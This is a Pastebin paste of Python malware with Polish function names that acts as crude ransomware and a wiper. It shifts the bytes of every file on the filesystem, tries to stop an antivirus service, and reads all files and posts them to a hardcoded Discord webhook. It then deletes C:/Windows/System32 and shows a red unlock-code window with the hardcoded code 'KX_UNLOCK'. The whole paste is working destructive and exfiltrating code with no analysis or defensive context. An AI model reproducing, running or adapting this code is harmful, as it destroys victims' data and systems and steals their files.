Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os
- import shutil
- import subprocess
- import requests
- import tkinter as tk
- def zaszyfruj_pliki():
- for root, dirs, files in os.walk("/"):
- for file in files:
- if file != "hubert.py":
- try:
- with open(os.path.join(root, file), "rb") as f:
- data = f.read()
- with open(os.path.join(root, file), "wb") as f:
- f.write(bytearray([(byte + 1) % 256 for byte in data]))
- except:
- pass
- def wyłącz_antywirusa():
- subprocess.run("cmd /c net stop 'NazwaUsługiAntywirusowego'", shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
- def zbierz_informacje():
- dane = {}
- for root, dirs, files in os.walk("/"):
- for file in files:
- try:
- with open(os.path.join(root, file), "rb") as f:
- dane[os.path.join(root, file)] = f.read()
- except:
- pass
- requests.post("https://discord.com/api/webhooks/1219751683412852737/bLqXU-zwxSI8Y2slHGOSwLw3QUqAM6Z33RNEovyPoLLMLWo2vfcXPCHL91ugl-SD676J", json=dane)
- def usuń_wirusa():
- shutil.rmtree("C:/Windows/System32")
- def odblokuj_pliki():
- root = tk.Tk()
- root.configure(bg="red")
- root.geometry("500x200")
- label = tk.Label(root, text="Wprowadź kod: ", bg="red", fg="white", font=("Helvetica", 16))
- label.pack(pady=20)
- entry = tk.Entry(root, show="*", font=("Helvetica", 16))
- entry.pack()
- def sprawdź_kod():
- if entry.get() == "KX_UNLOCK":
- odszyfruj_pliki()
- root.destroy()
- button = tk.Button(root, text="Odblokuj", bg="white", fg="red", font=("Helvetica", 16), command=sprawdź_kod)
- button.pack(pady=20)
- root.mainloop()
- def odszyfruj_pliki():
- for root, dirs, files in os.walk("/"):
- for file in files:
- if file != "hubert.py":
- try:
- with open(os.path.join(root, file), "rb") as f:
- data = f.read()
- with open(os.path.join(root, file), "wb") as f:
- f.write(bytearray([(byte - 1) % 256 for byte in data]))
- except:
- pass
- zaszyfruj_pliki()
- wyłącz_antywirusa()
- zbierz_informacje()
- usuń_wirusa()
- odblokuj_pliki()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement